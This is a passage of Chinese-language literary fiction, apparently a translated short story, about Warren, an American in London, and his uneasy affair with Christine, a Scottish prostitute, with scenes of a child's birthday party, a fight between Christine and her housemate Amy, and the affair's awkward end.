　　有几天时间，他在书桌前无所事事时，或者在这年一个真正的春日去街上及公园里漫步时，沃伦发现除了克丽斯汀，他没法想别的事。万万没想到他这辈子会遇到这种事：一个年轻的苏格兰妓女爱上了他。他完全是一反常态地自信心高涨，开始视自己为一个少见而又得天独厚的心灵冒险者。想到克丽斯汀躺在他怀里悄声说“我爱你”，让他在阳光下像个傻子一样笑着。别的时候，在想到她身上那么多令人同情的方面时，他有了种不同的、更为微妙的快感——缺乏幽默感的无知，松松垮垮的廉价内衣，喝醉后的哭泣。甚至她讲的“艾德里安”（几乎肯定是来自女性刊物）的故事也容易原谅——要么这样吧，等他一旦找到一个聪明而温和的方式，让她知道他早就知道那不是真的。他也许最终还是得想办法告诉她在他说自己也爱她时，并没有当真，但是那些都可以等等。完全不用着急，现在这个季节是春天。

　　“知道我最喜欢你哪一点吗，沃伦？”他们在一起度过的第三个或者第四个夜晚很晚的时候，她问道，“知道我很爱你哪一点吗？就是我觉得我可以信任你。我这辈子只想这样：找个可以信任的人。你看我一再犯错，因为我信任人，到头来却发现他们——”

　　“嘘，嘘。”他说，“没关系，宝贝。我们这会儿睡吧。”

　　“嗯，等一下嘛。听一分钟好吗？因为我真的想跟你说件事，沃伦。我认识一个男孩叫杰克，他老是说他想娶我什么的，可是问题在这儿：杰克爱赌钱，他永远都会爱赌钱。我想你能猜到那是什么意思。”

　　“什么意思？”

　　“指的是钱，就是这个意思。给他赌本，赌输了给他垫上，帮他熬过一个月，直到他发薪那天——哈，天哪，现在我想起来就觉得恶心。几乎有一年时间。你知道我总共拿回来多少钱吗？嗯，你不会相信的，我还是跟你说了吧。要么等等——我给你看看，等一下。”

　　她起了床，跌跌撞撞地过去开了吊灯，突然亮起来，把那个婴儿惊醒了，她睡着觉呜咽起来。“没事儿，劳拉。”克丽斯汀轻声细气地说，一边在梳妆台最上面的抽屉里翻；后来找到了要找的东西，拿到了床这边。“给你。”她说，“看看吧，读一下。”

　　那是一张廉价的带行的纸，是从某种给上学孩子用的拍纸簿上撕下来的，也没写日期。

　　亲爱的菲利普斯小姐：

　　附上两英镑十先令，现在我只能出这么多，也不会有更多，因为我下星期就要回美国了，因为要退伍。

　　我的指挥官说你上个月给他打了四次电话，这个月打了三次。一定别再这样了，因为他是个忙人，不能这样打电话来打扰他。一定别再给他打电话了，也别给军士长或者这里的任何人打电话。——一等兵约翰·F·柯蒂斯

　　“这可不是最扯淡的事？”克丽斯汀说，“我是说真的，沃伦，这可不是最扯淡的事？”

　　“当然是。”他又读了一遍。是那句以“我的指挥官”开头的话似乎全露馅了，扫一眼就戳穿了“艾德里安”的事，沃伦在心里很大程度上，相信约翰·F·柯蒂斯才是她的孩子的父亲。

　　“这会儿把灯关了好吗，克丽斯汀？”他说，一边把信递回给她。

　　“当然，亲爱的，我只是想让你看一看。”她无疑想看他会不会傻得也相信了这个故事。

　　房间里又暗下来后，她蜷着身子躺在那儿，贴着他的背，他不出声地准备了一段平心静气、合情合理的话。他会说，宝贝，别生气，可是听着，你千万别再拿这些故事糊弄我了。我不相信艾德里安那个故事，也不相信赌徒杰克的故事，所以别来这套了好不好？我们如果可以多少试试互相讲实话，那样不是更好？

　　再次考虑之下，让他没说出口的，是如果把那些话全说出来，会让她恼羞成怒，会马上跳下床大喊大叫，用她这一行最脏的话辱骂他，直到那个婴儿醒了哭很久以后。除了不可收拾，不会有别的。

　　还是可能有合适的时候问问她实情如何——他面朝墙躺在那里，她可爱的胳膊搂着她的腰部时，无论会不会让他觉得自己懦弱，他必须承认现在还不是时候。

　　几个晚上后他在家里接了个电话，听到她的声音让他吓了一跳：“嗨，亲爱的。”

　　“克丽斯汀？嗯，嗨，可是你怎么——你怎么有这个号码？”

　　“你给我的。不记得了吗？你写下的。”

　　“哦，对，没错。”他说，一面对着话筒傻傻地微笑，可是这件事让人警惕。地下室的电话只是楼上朱迪思的电话的分机，两个电话一起响，朱迪思在家时，总是在第一声或者第二声铃响时就接电话。

　　“哎，听着，”克丽斯汀在说，“你提前一天，星期四来好吗？因为是简的生日，我们要开一个派对。她九岁了……”

　　他挂上电话后，又弯着腰坐了很久，就像一个人在心里反复考虑重要而秘密的问题。他怎么能傻得把朱迪思的电话号码给她？很快他又想起别的事，另外还有件傻事，让他站了起来，紧张而有戏剧性地在地板上踱来踱去：他的地址她也知道。有一次在酒馆，他没有现金付啤酒钱，就给了克丽斯汀一张支票来付钱。

　　“在每张支票的名字下面都印上自己的街道地址，很多顾客觉得这样挺方便。”沃伦和卡罗尔去年去开支票账户时，一位银行里的副经理解释道，“我也这样给你们定做好吗？”

　　“当然，我想是吧。”卡罗尔说过，“干吗不呢？”

　　星期四时，他几乎一直到了阿诺德家，才意识到忘了给简买礼物。不过他找到了一间糖果店，他让售货女孩把什锦水果硬糖往一个纸袋子里舀了又舀，直到他买了沉甸甸的一包那种玩意儿，他只能希望能让一个九岁的孩子对那有一点点兴趣。

　　无论是不是这样，为简开的派对结果大获成功。在那间明亮而破旧不堪的房子里，到处都是孩子，他们都坐到桌前时——三张桌子拼在一起——沃伦站在后面微笑着，搂着克丽斯汀旁观，他想起了彼得·潘俱乐部上次那场派对。阿尔弗雷德下班回来时，把一个很大的熊猫填充玩具塞到了简的怀里，他哈哈大笑，然后蹲下来，简真心真意地抱了他很久。不过很快，简又得把她欣喜若狂的心情控制一下，因为蛋糕放在她面前。她皱了皱眉头，闭上眼睛，许了个心愿，勇敢地一口气把九根蜡烛全吹灭了，全屋的人都放声放呼。

　　之后有很多酒给大人喝，甚至在派对的最后一位客人回家之前，阿诺德家的孩子们都去睡觉后还有。克丽斯汀离开房间去把她的孩子放下睡觉，还带了一瓶酒。格雷丝已经开始在做晚餐了，显然不大情愿，等到阿尔弗雷德抽身去休息一下时，她把煤气炉关得很小，不管炉子就跟他一起去了。

　　这让沃伦独自和艾米在房间里，后者在对着壁炉上方的椭圆镜子一丝不苟地化妆。她真的比克丽斯汀好看得多，沃伦手里端着一杯酒坐在沙发上看着她时，心里这样想。她个子高，腿长，动作极为优雅，屁股结实而且线条好，让人很想用力捏一把，她的小乳房鼓鼓尖尖的，她的黑发垂到了锁骨那儿，这天晚上，她挑了件紧身黑裙，配一件桃色的衬衫。她是个骄傲而可爱的女孩，他不愿意去想那个完全陌生的男人，他当天晚上最后会出钱占有她。

　　艾米已经把眼部化好了妆，这时到了唇部，她把口红慢慢地画过两瓣饱满的嘴唇上柔软的范围，直到嘴唇就像杏仁蛋白软糖一样闪着光，然后她噘起嘴唇，好让上下嘴唇可以互相碰到和摩擦，然后又张开嘴，来看她完美的年轻人的牙齿上是不是可能沾上了红色痕迹。化完妆，她把化妆用品全放进一个小塑料盒，啪的一声合上后，她又在镜前似乎站了至少有半分钟，什么都没做，这时沃伦才意识到在这段隐秘而没有出声的时间里，她知道他在看着自己，一直都知道。最后，她很快地耸着肩膀转过身，脸上带着克服恐惧后的勇敢样子，好像他正在扑向她，就快到她跟前。

　　“你打扮得挺漂亮的啊，艾米。”他坐在沙发上说。

　　她的肩膀放松下来，松了口气，可是脸上没带笑。“天哪，”她说，“你把我吓坏了。”

　　她穿上外套出了门后，克丽斯汀又进了这个房间，显得懒洋洋的，自我放纵，就像一个找到好理由待在家里不去干活的女孩那样。

　　“过去点。”她说，然后挨着他坐下。“你这两天怎么样？”

　　“哦，还行吧。你呢？”

　　“还行。”她这时迟疑了一下，似乎因为找不到话聊而感觉不自在。“看了什么好电影没有？”

　　“没有。”

　　她抓过他的手放在她的两手中间。“你想我吗？”

　　“我当然想。”

　　“想我才怪呢。”她一把扔开他的手，好像那是什么脏东西。“最近有天晚上，我去过你那儿，想让你吃一惊，我看到你跟一个女孩进去了。”

　　“不，你没有。”他跟她说，“好了，克丽斯汀，你知道你根本没有那样做。你干吗老是想告诉我这些——”

　　她威胁地眯起眼睛，也绷起了嘴唇。“你说我是个骗子？”

　　“哦，天哪。”他说，“别这样。你干吗要这样？我们别说了，好不好？”

　　她似乎考虑了一下。“好吧。”她说，“你看，当时天黑，我在街对面；我不可能弄错房子；我看到跟那个女孩在一起的不可能是别人。好吧，我们不说了，可是我想告诉你：永远别说我是骗子，沃伦。我警告你，因为我向上帝发誓”——她提高嗓门，指着她的卧室——“我以那个孩子的性命来发誓，我不是骗子。”

　　“嗬，看看这对恩爱人儿。”格雷丝·阿诺德说，她搂着丈夫出现在门口。“我才不会嫉妒你们呢，我和阿尔弗雷德也是对恩爱人儿，不是吗，亲爱的？结婚这么多年，还是恩爱人儿。”

　　后来就吃晚餐，主要是烧煳了的豆子，格雷丝滔滔不绝地说着她跟阿尔弗雷德第一次认识的那天晚上。当时有场派对，阿尔弗雷德一个人来了，很腼腆，谁都不认识，还穿着军装，格雷丝隔着房间第一眼看到他就想道，哦，他，哦，对，就是他。他们随着唱片音乐跳了一会儿舞，不过阿尔弗雷德跳舞不怎么样；然后他们去了外面，一起坐在一道石头矮墙上聊天，只是聊天。

　　“我们聊了什么，阿尔弗雷德？”她问，同时似乎在徒劳地想回忆起来。

　　“哦，我不知道，亲爱的。”他说。他用叉子在豆子中间搅动，因为高兴和尴尬而变得脸色通红。“我想也没聊什么。”

　　格雷丝又转过身压低声音亲切地跟她别的听众说：“我们聊了——嗯，什么都聊，又什么都没聊。”她说，“你们知道怎么可能那样吗？就好像我们都知道——你们知道吗？——就像我们都知道我们是天造地设的一对儿。”最后一句话相对于格雷丝的品味，也似乎有点感情用事了，她忍不住哈哈大笑。“哦，好玩的是，”她笑着说，“我们走后，我的这些朋友也离开了，是去看电影？她们去看了电影，把电影全看完了，后来她们又回到那间酒馆，在那儿一直待到打烊，等到她们又走到那条路上，已经快到第二天早上了，她们发现我和阿尔弗雷德还坐在那道墙上，还在聊天。哈，天哪，她们现在还为那件事跟我开玩笑，我见到我的朋友们时，她们还会，甚至是现在。她们说：‘你们俩到底聊了些什么，格雷丝？’我只是哈哈大笑，我说：‘哦，没什么。我们只是在聊天，如此而已。’”

　　餐桌上的人一时都相当安静。

　　“可不是很棒吗？”克丽斯汀语气平静地问，“你们俩就那样找到了对方，可不是很棒吗？”

　　沃伦说那当然。

　　那天夜里晚些时候，他和克丽斯汀光着身子坐在床边喝酒时，她说：“嗯，我还是跟你说件事吧：我一点也不介意拥有格雷丝那样的生活。我是说在她遇到阿尔弗雷德之后的那段，而不是以前。”她顿了一下又说，“我想你不会想到，从她现在的样子——我想你不会想到她自己就当过皮卡迪利广场上的女孩。”

　　“是吗？”

　　“哈，‘是吗。’她当然是。做了好几年，那还是在战争期间。她进了这一行，因为她那时跟我们别的人都一样，根本不懂事；后来她有了简，不知道怎样离开这行。”克丽斯汀微笑着看了他一眼，中间还挤了一下眼睛。“没人知道简的爸爸是谁。”

　　“哦。”如果简今天是九岁，那就意味着怀上她和她出生时，是几万个美国黑人士兵驻扎在英国时，据说那些人在英国女孩那儿很吃香，惹得白人部队打架、骚乱——只是在进攻诺曼底地区时带来剧变，让一切都不再重要时才停止。阿尔弗雷德当时应该还在缅甸当战俘，还要等足足一年多才获释。

　　“哦，她从来没试过否认这件事。”克丽斯汀说，“她从来没在这件事上撒谎，我佩服她。他们认识的第一天晚上，她就很可能跟他说了，因为她知道瞒不住的——要么也许他早就知道了，因为那群人全是皮卡迪利女孩儿。阿尔弗雷德带她离开了街头，她就嫁给了他，艾尔弗尔德收养了她的孩子。你找不到有多少男人能那样做。我是说格雷丝是我最好的朋友，帮了我很多忙，可是有时候，她表现得她根本不知道自己有多么幸运。有时候——哦，不是今天晚上，今天晚上她是在你面前炫耀——可是有时候，她根本不拿阿尔弗雷德当回事。你想象得出吗？像阿尔弗雷德那样的男人？那可真的让我着急。”

　　她伸手下去把他们的杯子倒满，等她坐好开始小口呷酒时，他知道自己的下一步该怎么做。

　　“嗯，所以我想你可以说也在寻找丈夫，对吧，宝贝。”他说，“那当然可以理解，我想让你知道我希望我可以——你知道——向你求婚，可是事实是我不能，真的不能。”

　　“没错。”她平静地说，一边在低头看着她手指捏的一根没有点燃的香烟。“没关系，别提了。”

　　他对两人最后这样说了几句话而感到高兴——即使在他这一方，说了“希望”这样的大谎话。他往这个陌生女孩生活中令人困惑、不无危险的涉足结束了，他现在可以准备有条不紊地撤退。“我知道你会找到合适的人，克丽斯汀，”他跟她说，他话说得好心好意，让自己也感觉暖洋洋的。“肯定很快就会实现，因为你是个很好的女孩。同时呢，我想你知道我会永远……”

　　“哎，我说过别提了，好吗？天哪，你以为我会在乎吗？你以为我他妈在乎你吗？听着。”她站了起来，赤身裸体，在昏暗的灯光下显得强壮。她晃动一个伸得直直的手指，差一英寸就戳到他往后避开的脸上。“听着，瘦鬼。我想找谁都能找到，无论什么时候，你最好搞清楚了。你在这儿，只是因为我可怜你，你最好把这点也搞清楚。”

　　“可怜我？”

　　“哼，没错，都是因为你的老婆和你的小女孩那些惨兮兮的破事儿，我可怜你，我想哎，干吗不这样做呢？我就是这个毛病，从来不长记性，我总是迟早会想，干吗不这样做呢？然后我他妈就倒霉了。听着：你究竟知不知道这段时间我能挣多少钱？呃？不，你从来根本没想过那方面，对吧。噢，不，你总是好心好意，花言巧语，不是吗。哼，你知道我怎么看你吗？我看你是个‘庞斯’。”

　　“什么叫‘庞斯？’”

　　“我不知道你们那儿叫什么。”她说，‘不过在这里，指的是靠一个那什么样的女人挣钱而生活的男的——咳，算了，管他妈的，操，我累了。过去一点，好吗？因为我是说只能睡觉的话，那就睡吧。”

　　可是他没有挪过去，而是不出声站了起来，像个受到侮辱的男人一样，气得发抖开始穿衣服。她扑通一下又坐到床上时，似乎没有注意或者不关心他在干吗，但是没过多久，他在扣衬衫扣子时，他知道她在看着他，准备跟他道歉。

　　“沃伦？”她用害怕的声音低低地说，“别走，对不起我那样叫你，我再也不说了。请过来跟我在一起，好吗？”

　　那足以让他的手指正在扣上衬衫时停了下来，然后很快，就足以让他开始再次解开扣子。现在走，什么都没解决，很有可能比留下来更糟糕。再说，给人看成一个胸怀够宽广、能宽恕的男人无疑是不错的。

　　“……哦，”他又回到床上后，她说，“哦，这样好点了，哦，再靠近点，让我——对了，对了，哦，哦，我想世界上没有一个人想夜里一个人。你呢？”

　　这是一次脆弱而愉快的停战，一直持续到第二天上午较晚时候，当时他走得尽管紧张，但还是挺愉快。

　　然而在坐地铁回去的一路上，他后悔没有跟她说出最后的话。坐车时，他在脑子里想了几种最后宣言的开头——“你看，克丽斯汀，我看这样下去根本不行……”或者“宝贝，要是你想把我看成一个‘庞斯’什么的，我想我们该……”——直到他从这节车厢里别的乘客扫他一眼就躲开的不自然眼神中，他才意识到自己的嘴唇在动，还在用手做相应的小小手势。

　　“沃伦？”那天下午，电话上传来了朱迪思老年人的悦耳声音，她是从苏塞克斯打过来的。“我想我有可能星期二去市里，住上一两个星期。会给你添很大麻烦吗？”

　　他说不要这样说，并说他很盼望她回来，可是他刚放下电话，电话又响了，克丽斯汀说：“嗨，亲爱的。”

　　“哦，嗨，你好吗？”

　　“嗯，还行，只是昨天晚上我对你不是很好，我有时候会那样的。我知道挺糟糕，可是我真的会。不过我能给你弥补一下吗？星期二你可以过来吗？”

　　“嗯，我不知道，克丽斯汀，我在想。也许我们最好可以说——”

　　她换了语气：“你来还是不来？”

　　他沉默了一两秒，她在等着，然后才同意去——他当时之所以同意，只是因为他知道当面说最后的话，要比在电话上说好。

　　他不会整个晚上都待在那里，而会把自己的意思讲清楚就走；如果那幢座房子里人很多，他会带她去酒馆，他们可以在那儿不受打扰地谈谈。他决定不再排练怎么说话：到时间他自然会找到正确的用词和正确的语气。

　　但是他要说的除了得是最后的话，最重要的一点——也是最让人头痛的一点——是一定得说得讲究，不然会给她留下怨恨，可能在电话上有很多麻烦——朱迪思在家，不能再冒这种险——甚至有可能出现比那更糟糕的时候。他能想象他和克丽斯汀下午茶时去朱迪思那里做客，在她的客厅里（“一定把你年轻的朋友带来啊，沃伦”），就像他和卡罗尔以前经常那样做的一样。他能想象出克丽斯汀等到聊天不活跃时，把杯子和盘子用力放下以加强语气，会说：“哎，太太，我要跟你说件新闻。你知道你这位可爱的大侄子是个什么角色吗？呃？嗯，我告诉你，他是个‘庞斯’。”

　　他本来计划晚餐后过了很久才到，可是这天晚上他们肯定开饭开得晚，因为当时都还坐在餐桌前，格雷丝·阿诺德递给他一个盘子。

　　“不，谢谢了。”他说，可是不管怎样，他还是坐到了克丽斯汀旁边，因为不那样会显得不礼貌。

　　“克丽斯汀？”他说，“吃完饭你跟我去酒馆坐一会儿好吗？”

　　“干吗？”她嘴里噙了一嘴食物说。

　　“因为我想跟你聊聊。”

　　“我们可以在这儿聊。”

　　“不，我们没法聊。”

　　“有什么大不了的事？那我们可以晚点聊嘛。”

　　沃伦觉得自己的计划开始像沙子一样散开了。

　　艾米那天晚上似乎情绪很好。不管阿尔弗雷德和格雷丝说什么，都能让她放声大笑；她唱了《难以忘记》中的一段副歌，至少跟克丽斯汀唱那首歌时所带的感情一样丰富；她退到房间中央，脱掉鞋子，伴随着电影《红魔坊》的主题曲，轻轻扭动屁股，为观众跳了一段漂亮的舞蹈。

　　“你今天晚上干吗不出去，艾米？”克丽斯汀问。

　　“哦，我不知道；我不想吧。有时候，我只想安安静静待在家里。”

　　“阿尔弗雷德？”格雷丝叫道，“看看还有没有青柠汁，有的话，我们可以喝金青柠酒了。”

　　他们在收音机上找到了舞曲，格雷丝的身子软绵绵地靠在阿尔弗雷德的怀里，跳一曲老式的华尔兹。“我喜欢跳华尔兹。”她解释道，“我一直喜欢跳华尔兹。”——可是他们碰到熨衣板并把它撞翻时，突然就停下来了，大家觉得这件事再滑稽不过。

　　克丽斯汀想证明自己会跳吉特巴，也许是想跟艾米比一比，可是跟她跳，沃伦是个动作笨拙的舞伴：他单脚跳起来，拖着脚步，跳出了汗，也不是真正知道该怎样让她旋出到两人一臂之远，然后再让她旋回来，所以他们的表演也变得难看，让大家哈哈大笑。

　　“……哦，真好啊，我们都是这么好的朋友。”格雷丝·阿诺德说，一边迫不及待地又打开一瓶杜松子酒。“我们今天晚上只是在这儿开开心心的，世界上没有任何别的要紧事，对吗？”

　　对。过了一会儿，阿尔弗雷德和沃伦一块儿坐在沙发上讨论英国和美国的军队，这是和平时期的一对老兵；后来阿尔弗雷德起身再去喝一杯，艾米微笑着坐到他留下的地方，轻轻用指尖碰了碰沃伦的大腿，来新开个头跟他聊天。

　　“艾米。”克丽斯汀在房间那头说，“你手别碰沃伦，要不我杀了你。”

　　之后一切都变味了。艾米一跃而起，激动地否认自己做错了什么，克丽斯汀反驳得声音又大，又说得难听，格雷丝和阿尔弗雷德站在那儿，就像观看街头车祸的人一样，脸上带着一丝微笑，沃伦则想消失掉。

　　“你总是这么做，”克丽斯汀大喊大叫，“自从我让你住到这儿，我带回家的每个男的，你都会卖弄风骚，跟他蹭来蹭去。你是个贱货，骚货，你是个小浪货。”

　　“你是个婊子。”艾米莉哭着说，马上眼泪就出来了。这时她摇摇晃晃地走向门口，可是没走到：她不得不转过身，拳头堵着嘴巴，眼里闪烁着害怕的光芒，她要听听克丽斯汀跟格雷丝说什么。

　　“好吧，格雷丝，听着。”克丽斯汀说话声音很高，镇定得让人觉得有危险。“你是我最好的朋友，永远都是，可是你得做个选择，要她还是要我。我是说真的，因为我凭着那个孩子的性命发誓”——她一只胳膊演戏一般向着她的卧室方向挥了一下——“我凭着那个孩子的性命发誓，她留下来的话，我一天都不会多待。”

　　“哦，”艾米说着逼近了她，“这么做真差劲。哦，你是个肮脏的——”

　　两个女孩突然就打起来了，扭打着，用拳头捶，撕扯衣服，揪头发。格雷丝像个尖叫着的、浑身颤抖的裁判，想把她们分开，可只是让自己挨了几下，给推来推去，直到把她弄倒了，这时阿尔弗雷德·阿诺德过来干涉。

　　“妈的，”他说，“别打了，别打了。”他总算把掐着艾米脖子的克丽斯汀拉开，一把把她推到一旁，然后不让艾米有进一步行动，把她整个人摔倒在那张沙发上，她在那里捂着脸哭。

　　“娘儿们，”阿尔弗雷德绊了一下又直起身子时说，“操蛋的娘儿们。”

　　“煮点咖啡吧。”格雷丝已经爬到那张安乐椅上，她在那儿说，阿尔弗雷德跌跌撞撞地走到炉子那儿，把一锅水坐到煤气炉上。他笨手笨脚地找了一会儿，找到一瓶速溶咖啡糖浆，呼哧呼哧地往五个干净杯子每个里面都加了满满一勺那种玩意儿；然后就开始在房间里大步走来走去，瞪着眼睛，眼神炯炯，像是一个从来没有想到自己的生活会过成这样的男人。

　　“操蛋的娘儿们。”他又说了一遍，“娘儿们。”他用了全身力气，左拳一拳砸在墙上。

　　“嗯，我知道阿尔弗雷德不高兴，”克丽斯汀后来说，当时她和沃伦在床上。“可是我没想到他会把他的手伤成那样，真可怕。”

　　“我能进来吗？”格雷丝胆小地敲了一下门问道，她看上去挺高兴，却衣服不整。她还穿着裙子，但显然取掉了吊袜带，因为她的黑色尼龙袜都掉到了脚踝和鞋子那儿，皱巴巴的。她光光的腿上颜色苍白，隐约能看到汗毛。

　　“阿尔弗雷德的手怎么样？”克丽斯汀问。

　　“嗯，他把手浸到热水里。”格雷丝说，“可他老是拿出来，想放到嘴里。他会没事的。不管怎么样，听着，克丽斯汀，你说艾米的话说得对，她一点都不好。自从你把她领到这儿，我就知道了。我以前不想说什么，因为她是你的朋友，可这是千真万确。我只想让你知道我最喜欢你，克丽斯汀，你永远都是我最喜欢的。”

　　沃伦躺在那儿听着，把床单拉到下巴处，他渴望享受到家里的宁静。

　　“……记得那次她把干洗衣服的票弄丢了，然后又撒谎吗？”

　　“哦，记得那天我准备跟你去看电影的时候吗？”格雷丝说，“没时间做三明治了，所以我们就只是用吐司夹鸡蛋，因为那样更快？她一直在旁边晃悠，老是说：‘你们煮鸡蛋干吗？’她很生气，也很嫉妒，因为我们没叫她一起去看电影，她表现得像是个小孩子。”

　　“嗯，她的确是个小孩子。她不够——她根本不成熟。”

　　“对。你说得一点不错，克丽斯汀。我跟你说我想好了要怎么做：明天早上一起来，我就告诉她。我就那么说：‘对不起，艾米，可是我家不再欢迎你了……’”

　　天没亮沃伦就离开这座房子，想在自己家里睡觉，不过他没法指望能睡超过一两个钟头，因为朱迪思下来洗澡时，他得起床，穿好衣服，面带微笑。

　　“我得说你的气色真不错，沃伦。”朱迪思跟他说，“你看上去就像一个对自己的生活很有把握的人，平静、健康。一点憔悴的样子也没有，以前有时候看到你那样，会让我为你感到担心。”

　　“哦？”他说，“嗯，谢谢，朱迪思。你的气色也很不错，不过当然了，你一直是这样。”

　　他知道电话会响的，他只希望到中午再响，当时朱迪思会去吃午餐——要么在她哪天想省钱时，出去少量买些东西。她会拎一个网兜去附近，那里有很多恭恭敬敬、心怀钦佩的铺主——英国的男男女女几代人都受到了教育，在看到一位高贵的女士时，还是知道的。

　　中午时，从前窗那里，他看着她仪态庄严的老人身影走下台阶，慢慢地走在街上。好像还没过一分钟，电话就突然响了，他的神经让电话铃听着比实际上更响。

　　“你真是走得急啊。”克丽斯汀说。

　　“是啊。嗯，我睡不着觉。今天早上艾米怎么样？”

　　“哦，现在没事了，全都结束了。我们三个人谈了很久，最后我劝格雷丝让她留下来。”

　　“嗯，好，不过她愿意留下来，还是让我很吃惊。”

　　“开玩笑吧你？艾米？你以为她有别的地方可以去？天哪，你要是以为艾米有别的地方可去，那你可是疯掉了。我是说你了解我，沃伦：我有时候会很生气，可是永远做不到真的把谁赶到街上。”她顿了一下，他能听到她嘴里嚼口香糖啪嗒啪嗒响的声音。直到这次，他才知道她原来也嚼口香糖。

　　有一会儿，他想到她这样处于平静、讲理、嚼着口香糖的思想状态，也许是目前为止跟她分手的最佳时机，无论是不是在电话上，但是他还没有组织好开场白，她就又说话了。

　　“哎，听我说，亲爱的，我想我有几天不能跟你见面了。今天晚上要出去，明天也要，还有整个周末都要。”她刺耳地轻轻笑了一下。“我得去挣点钱，不是吗？”

　　“嗯，那当然。”他说，“你当然要。我知道的。”这些随声附和的话说出来后，他才意识到那些话，正是一个“庞斯”有可能会说的话。

　　“不过我也许哪天下午可以去你那儿。”

　　“不，别来。”他马上说，“我——我几乎每天下午都会去图书馆。”

　　他们说好了下个星期的某个晚上，五点钟去她住的地方；可是从她的说话声音里，有哪里让他怀疑即使到那时，她也不会在家——有意失约，那会是她不用开口就摆脱他的方法，要么至少是这样做的开始：没有谁的“庞斯”可以永远当下去。所以，到了那天和那个时辰，他发现她没在时，没有感到吃惊。

　　“克丽斯汀不在，沃伦。”格雷丝·沃伦解释道，一边礼貌地从门口让开让他进去。“她让我跟你说她会打电话。她得去苏格兰几天。”

　　“哦？那——家里有什么麻烦事吗？”

　　“你说‘麻烦’，指的是什么？”

　　“嗯，我只是说会不会——”沃伦发现自己在说着那个蹩脚的同样理由，他和卡罗尔曾经都认为对朱迪思来说已经够好——似乎是上一辈子的事了。“她家里是不是有人生病了，还是类似怎么样？”

　　“对了，是的。”格雷丝显然很感谢他来解围。“她家里有人生病了。”

　　他说自己听到这个消息挺遗憾。

　　“我给你倒点什么好吗，沃伦？”

　　“不，谢谢了。再见，格雷丝。”转身要走时，他发现在他心里，一些词正在自行组成，能够凑成最后一段冷淡的退场话。可是他还没到门口，阿尔弗雷德下班回来了，他露出尴尬的样子，他的前臂上打着厚厚的石膏，从肘部一直到骨折的手指尖，用一条棉布吊带吊着。

　　“天哪，”沃伦说，“看样子真的不舒服啊。”

　　“哈，都会习惯的。”阿尔弗雷德说，“跟别的事情一样。”

　　“知道他断了多少根骨头吗，沃伦？”格雷丝问，几乎像是在吹嘘。“三根，三根骨头。”

　　“哇，可是你的手成了这样，还怎么干活呢？”

　　“哦，这个嘛，”阿尔弗雷德脸上挤出一丝自嘲的微笑。“他们只派给我轻松的活。”

　　在门口，沃伦手握着门把手要走时，又转过身说：“告诉克丽斯汀我来过了，格雷丝，好吗？你也可以告诉她我对你说的苏格兰那边的事，一个字儿都不相信。噢，要是她想打电话给我，告诉她别麻烦了。再见。”

　　坐车回家时，他一再跟自己说可以放心了，很可能再也不会听到克丽斯汀会对他说什么。他也许希望过会有一个更令人满意的结局，不过也许根本不可能有什么让人满意的结局。他对自己说的最后一句话越想越得意：“要是她想打电话给我，告诉她别麻烦了。”在那种情形下，是以完全正确的方式，传递了正确的信息。

　　那天晚上很晚时候，电话响到第二声，几乎可以肯定朱迪思当时在睡觉，沃伦一跳而起，在朱迪思被吵醒前拿起了电话。

　　“听着，”克丽斯汀说，她的声音完全没什么温情，甚至没有起码的礼貌，就像一部破案电影里的告密者说话那样。“我给你打电话，只是有件事情你应该知道。阿尔弗雷德生你的气，我是说很生气。”

　　“是吗？为什么？”

　　他几乎能看到她眯起眼睛，绷起了嘴唇。“因为你说他老婆是骗子。”

　　“哦，好了吧，我不相信——”

　　“你不相信我的话？好吧，走着瞧吧。我是为你好才告诉你。如果像阿尔弗雷德那样的男的觉得他老婆受到了侮辱，那就麻烦了。”

　　第二天是星期日——那个家里的男人应该在家——沃伦花了快一上午时间，才决定他最好去跟他谈谈。这样做好像没道理，他害怕见到克丽斯汀；不过呢，一旦做完这件事，他就可以把一切都置之脑后。

　　可是他不用走近那座房子。转过街角，走到最后一个街区时，他碰到了阿尔弗雷德和六个孩子走在街上，全都打扮得漂漂亮亮，是星期天要去哪儿，也许去动物园。看样子简很高兴看到他：她抓着阿尔弗雷德那只没受伤的手，她非洲人式的头发上，扎了个鲜艳的粉红色蝴蝶结。“嗨，沃伦。”她说，那几个年龄更小的小孩停下来围了一圈。

　　“嗨，简，你打扮得真漂亮。”说完他对那个男人说，“阿尔弗雷德，我想我该向你道个歉。”

　　“道歉？干吗？”

　　“嗯，克丽斯汀说我跟格雷丝说的话让你生气了。”

　　阿尔弗雷德露出大惑不解的样子，似乎在考虑太复杂、太微妙，怎样都理不清楚的问题。“没有啊，”他说，“没有啊，根本没这回事。”

　　“那好吧，好吧，可是我想跟你说我没有什么——你知道的。”

　　阿尔弗雷德做了个小小的鬼脸，把他打石膏的胳膊调整了一下吊带位置。“给你提个建议啊，沃伦，”他说，“千万别太相信女人的话。”他像个老熟人一样，挤了一下眼睛。

　　克丽斯汀再打电话给他时，语气又是像女孩那样热情洋溢，似乎他们之间完全没有过任何问题——可是沃伦永远都不会知道这样变化的原因何在，也永远不需要衡量这种变化是真心还是虚情假意。

　　“亲爱的，听着，”她说，“我想到现在，家里的事情都过去了——我是说他已经完全平静下来什么的——所以如果你明天晚上或者后天晚上，或者无论你什么时候能过来，我们都可以好好地——”

　　“哎，等一会儿。”他告诉她，“你听我说一分钟话好吗，宝贝——哦，对了，我想我们该别说‘亲爱的’和‘宝贝’那些词儿了，你不觉得吗？听我说。”

　　他站起来以强调语气，不再让步，他说最后几句话时，电话线绷紧缠到了衬衫上，他空出来的那只手攥成拳头，有节奏地在空中挥动，就像一个在大庭广众之下神情激昂的讲话者那样。

　　“听我说。我想跟阿尔弗雷德道歉，他根本他妈的不知道我什么意思，根本他妈的不知道我在说什么，你明白我的话吗？好吧，这是一件事，另外，我也受够了。别再给我打电话了，克丽斯汀，你明白我的话吗？别再给我打电话了。”

　　“好吧，亲爱的。”她说得又快又温顺，她挂电话的声音几乎让沃伦没听清楚她说什么。

　　他仍然紧抓电话贴在脸前，呼哧呼哧的，这时他听到楼上朱迪思的电话听筒放回话机上的声音，缓慢而小心。

　　嗯，没关系，谁在乎？他走到装了满满一箱书的纸板箱前，狠狠踢了一脚，让箱子滑开三四英尺，腾起一片颤颤的尘雾；然后他眼睛扫了一圈，看有没有别的东西可踢或者用拳头砸，或者打碎、打破，但他没有那样做，而是又走回原来的地方，一屁股坐到沙发上颠了两下，一只手的拳头抵着另一只手的掌心。好吧，好吧，嗯，去他妈的。那又怎么样？谁在乎？

